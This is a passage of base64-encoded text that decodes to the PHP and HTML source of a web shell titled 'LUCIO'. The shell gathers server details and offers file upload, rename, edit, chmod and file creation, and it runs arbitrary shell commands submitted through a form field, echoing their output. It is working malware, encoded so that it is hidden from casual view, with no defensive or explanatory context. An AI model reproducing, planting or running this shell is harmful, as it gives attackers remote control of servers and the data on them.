g0KJGlwID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOw0KJHVpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KJHNlcnYgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107DQokc29mdCA9ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXTsNCiRjbWRfdW5hbWUgPSBjbWQoInVuYW1lIC1hIik7DQokdW5hbWUgPSBmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpID8gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSA6IChzdHJsZW4oJGNtZF91bmFtZSkgPiAwID8gJGNtZF91bmFtZSA6ICdVbmFtZSBFcnJvciEnKTsNCg0KPz4NCjxodG1sPg0KICAgIDxoZWFkPg0KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+DQogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQogICAgICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgICAgICA8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjEuMy9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpbnRlZ3JpdHk9InNoYTM4NC0xQm1FNGtXQnE3OGlZaEZsZHZLdWhmVEFVNmF1VTh0VDk0V3JIZnRqRGJyQ0VYU1Uxb0JvcXlsMlF2WjZqSVczIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL3Byby5mb250YXdlc29tZS5jb20vcmVsZWFzZXMvdjUuMTAuMC9jc3MvYWxsLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQtQVltRUMzWXc1Y1ZiM1pjdUh0T0E5M3czNWRZVHN2aExQVm5ZczllU3RIZkdKdk92S3hWZkVMR3JvR2t2c2crcCIgY3Jvc3NvcmlnaW49ImFub255bW91cyIgLz4NCiAgICAgICAgPHRpdGxlPkxVQ0lPIFsgPD89ICRzZXJ2OyA/PiBdPC90aXRsZT4NCiAgICAgICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1VYnVudHUrTW9ubyIgcmVsPSJzdHlsZXNoZWV0Ij4NCiAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAgICAgICogew0KICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBVYnVudHUgTW9ubzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGEgew0KICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBhOmhvdmVyIHsNCiAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvKiB3aWR0aCAqLw0KICAgICAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhciB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDdweDsNCiAgICAgICAgICAgICAgICBoZWlnaHQ6IDdweDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8qIEhhbmRsZSAqLw0KICAgICAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7DQogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogZ3JleTsNCiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA3cHg7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvKiBUcmFjayAqLw0KICAgICAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7DQogICAgICAgICAgICAgICAgYm94LXNoYWRvdzogaW5zZXQgMCAwIDdweCBncmV5Ow0KICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDdweDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC50ZC1icmVhayB7DQogICAgICAgICAgICAgICAgd29yZC1icmVhazogYnJlYWstYWxsDQogICAgICAgICAgICB9DQogICAgICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgIDxib2R5IGNsYXNzPSJiZy1kYXJrIHRleHQtbGlnaHQiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0icHktMyIgaWQ9Im1haW4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InAtNCByb3VuZGVkLTMiPg0KICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLWJvcmRlcmxlc3MgdGV4dC1saWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ3aWR0aDogNyU7Ij5PcGVyYXRpb248L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6IDElIj46PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89ICR1bmFtZTsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiA3JTsiPlNvZnR3YXJlPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiAxJSI+OjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSAkc29mdDsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiA3JTsiPlNlcnZlciBJUDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ3aWR0aDogMSUiPjo8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gJGlwOyA/PiZlbnNwO3wmZW5zcDtZb3VyIElQOiA8Pz0gJHVpcDsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiA3JTsiPkRvbWFpbnM8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6IDElIj46PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89ICRkb207ID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ3aWR0aDogNyU7Ij5QZXJtaXNzaW9uPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiAxJSI+OjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPlsmbmJzcDs8P3BocCBlY2hvIHdyaXRhYmxlKCRwYXRoLCBwZXJtcygkcGF0aCkpID8+Jm5ic3A7XTwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhIGZhIGZhLWZvbGRlciBwdC0xIj48L2k+JmVuc3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZXhkaXIgYXMgJGlkID0+ICRwYXQpIDogaWYgKCRwYXQgPT0gJycgJiYgJGlkID09IDApOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9LyIgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiPi88L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgaWYgKCRwYXQgPT0gJycpIGNvbnRpbnVlOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZm9yICgkaSA9IDA7ICRpIDw9ICRpZDsgJGkrKykgeyBlY2hvICIkZXhkaXJbJGldIjsgaWYgKCRpICE9ICRpZCkgZWNobyAiLyI7IH0gPz4iIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0Ij48Pz0gJHBhdCA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0idGV4dC1saWdodCI+IC88L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDwhLS0gY29uZmlndXJhdGlvbiBmaXR1cmUgLS0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InRvb2xzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIHdpZHRoPScyMCUnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLWZsZXgganVzdGlmeS1jb250ZW50LWNlbnRlciBmbGV4LXdyYXAgbXktMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPyIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtaG9tZSI+PC9pPiBIb21lPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPXVwbG9hZCIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtdXBsb2FkIj48L2k+IFVwbG9hZDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1jb21tYW5kIiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS10ZXJtaW5hbCI+PC9pPiBDb21tYW5kPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPW5vdGlmeSIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtY2xvdWQiPjwvaT4gTm90aWZ5PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociB3aWR0aD0nMjAlJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiIGlkPSJ0b29scyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgJF9HRVRbJ2FjdGlvbiddICE9ICdkb3dubG9hZCcpIDogJGFjdGlvbiA9ICRfR0VUWydhY3Rpb24nXSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSAhPSAnZGVsZXRlJykgOiAkYWN0aW9uID0gJF9HRVRbJ2FjdGlvbiddID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0xMiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGFjdGlvbiA9PSAncmVuYW1lJyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im5hbWUiIGNsYXNzPSJmb3JtLWxhYmVsIj5OZXcgTmFtZTwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJuZXdOYW1lIiB2YWx1ZT0iPD89ICRfR0VUWydpdGVtJ10gPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0Ij5TdWJtaXQ8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCIgb25jbGljaz0iaGlzdG9yeS5nbygtMSkiPkJhY2s8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdlZGl0JyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im5hbWUiIGNsYXNzPSJmb3JtLWxhYmVsIj48Pz0gJF9HRVRbJ2l0ZW0nXSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBpZD0iQ29weUZyb21UZXh0QXJlYSIgbmFtZT0ibmV3Q29udGVudCIgcm93cz0iMTAiIGNsYXNzPSJmb3JtLWNvbnRyb2wiPjw/PSBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoLiAnLycuICRfR0VUWydpdGVtJ10pKSA/PjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQiPlN1Ym1pdDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IiBvbmNsaWNrPSJqc2NvcHkoKSI+Q29weTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IiBvbmNsaWNrPSJoaXN0b3J5LmdvKC0xKSI+QmFjazwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRhY3Rpb24gPT0gJ2NobW9kJyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im5hbWUiIGNsYXNzPSJmb3JtLWxhYmVsIj48Pz0gJF9HRVRbJ2l0ZW0nXSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJuZXdQZXJtIiB2YWx1ZT0iPD89IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX0dFVFsnaXRlbSddKSksIC00KTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0Ij5TdWJtaXQ8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCIgb25jbGljaz0iaGlzdG9yeS5nbygtMSkiPkJhY2s8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICd1cGxvYWQnKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5GaWxlIFVwbG9hZGVyPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InVwbG9hZGZpbGVbXSIgaWQ9ImlucHV0R3JvdXBGaWxlMDQiIGFyaWEtZGVzY3JpYmVkYnk9ImlucHV0R3JvdXBGaWxlQWRkb24wNCIgYXJpYS1sYWJlbD0iVXBsb2FkIiBtdWx0aXBsZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCIgdHlwZT0ic3VibWl0IiBpZD0iaW5wdXRHcm91cEZpbGVBZGRvbjA0Ij5VcGxvYWQ8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnY29tbWFuZCcpIDogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkNvbW1hbmQ8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20iIG5hbWU9InVjbWQiIHBsYWNlaG9sZGVyPSJ3aG9hbWkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IiB0eXBlPSJzdWJtaXQiPlN1Ym1pdDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdub3RpZnknKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBhcmNoaXZlKCk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb21tYW5kIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ3VjbWQnXSkpIDogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIHRleHQtZGFyayBjb2wtbWQtNyBtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cHJlPjw/cGhwIGVjaG8gJGlwLiJAIi4kc2Vydi4iOiZuYnNwO34kJm5ic3A7IjsgZWNobyAkY21kID0gJF9QT1NUWyd1Y21kJ107ICRjbWQuIjxicj4iOyA/Pjxicj48Y29kZT48P3BocCBlY2hvIGNtZCgkY21kKTsgPz48L2NvZGU+PC9wcmU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2xsYXBzZSIgaWQ9Im5ld0ZpbGVDb2xsYXBzZSIgZGF0YS1icy1wYXJlbnQ9IiN0b29scyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RmlsZSBOYW1lPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0ibmV3RmlsZU5hbWUiIHBsYWNlaG9sZGVyPSJ0ZXN0LnBocCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RmlsZSBDb250ZW50PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgbmFtZT0ibmV3RmlsZUNvbnRlbnQiIHBsYWNlaG9sZGVyPSJIZWxsby1Xb3JsZCI+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQiPkNyZWF0Z